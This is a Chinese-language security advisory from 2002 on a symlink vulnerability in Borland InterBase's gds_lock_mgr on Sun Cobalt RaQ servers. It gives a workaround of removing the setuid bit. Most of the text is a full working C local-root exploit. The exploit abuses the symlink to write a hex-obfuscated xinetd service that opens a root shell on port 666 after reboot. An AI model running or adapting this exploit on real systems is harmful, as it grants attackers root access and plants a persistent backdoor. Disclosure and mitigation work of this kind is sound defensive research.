首页 -> 安全研究

安全研究

安全漏洞
Borland Interbase gds_lock_mgr符号链接漏洞

发布日期:2002-09-25
更新日期:2002-09-28

受影响系统:
Sun Cobalt RaQ XTR
Sun Cobalt RaQ 550
Sun Cobalt RaQ 4.0
    - Linux系统
描述:
Cobalt RaQ是一个基于Internet的服务器程序,由Sun微系统公司发布和维护,其中包含Borland InterBase跨平台的嵌入式数据库。

Borland InterBase中的gds_lock_mgr程序存在漏洞,本地攻击者可以利用这个漏洞进行符号连接攻击。

gds_lock_mgr可以通过符号链接重写任意系统文件,可导致本地非特权用户获得root用户权限,或者以root用户权限写恶意程序,在系统下次启动后以root用户权限运行。

<*来源:grazer (grazer@digit-labs.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103299262525579&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

grazer(grazer@digit-labs.org) 提供了如下测试程序:

// gds_lock_mgr easy local root compromise
// All cobalt Linux affected, and certain mandrake installations.
// Wouter ter Maat aka grazer - http://www.i-security.nl

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define BDPATH "/etc/xinetd.d/xinetdbd"
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"

int main() {

struct utsname buf;
char path[24], lnc[34];

FILE *fd;

/* check for a rootshell on port 666 after the machine has rebooted.
* exploit written to work on a raq550 using xinetd
*/

char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
              "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
              "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
              "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
              "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
              "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
              "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
              "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
              "\x3d\x20\x2d\x69\n\x7d\n";

fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");

uname(&buf);
setenv("INTERBASE", "/tmp", 1);
sprintf(path, "%s", "/tmp/isc_init1.");
strcat(path, buf.nodename);

chdir("/tmp");
umask(000);

sprintf(lnc, "ln %s -s %s", BDPATH, path);
system(lnc);

if(fd=fopen(GDSBIN, "r")) {
system(GDSBIN); close(fd); }
else {
fprintf(stderr, "%s not found...\n", GDSBIN);
exit(0); }

if(fd=fopen(BDPATH, "w")) {
fprintf(stderr,"     exploit succesfull...\n");
fprintf(fd, "%s", hexbd); close(fd);}
else {
fprintf(stderr, "exploit failed...\n");
exit(0); }

}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* chmod u-s /opt/interbase/bin/gds_lock_mgr

厂商补丁:

Sun
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.sun.com/hardware/serverappliances/

浏览次数:3492
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障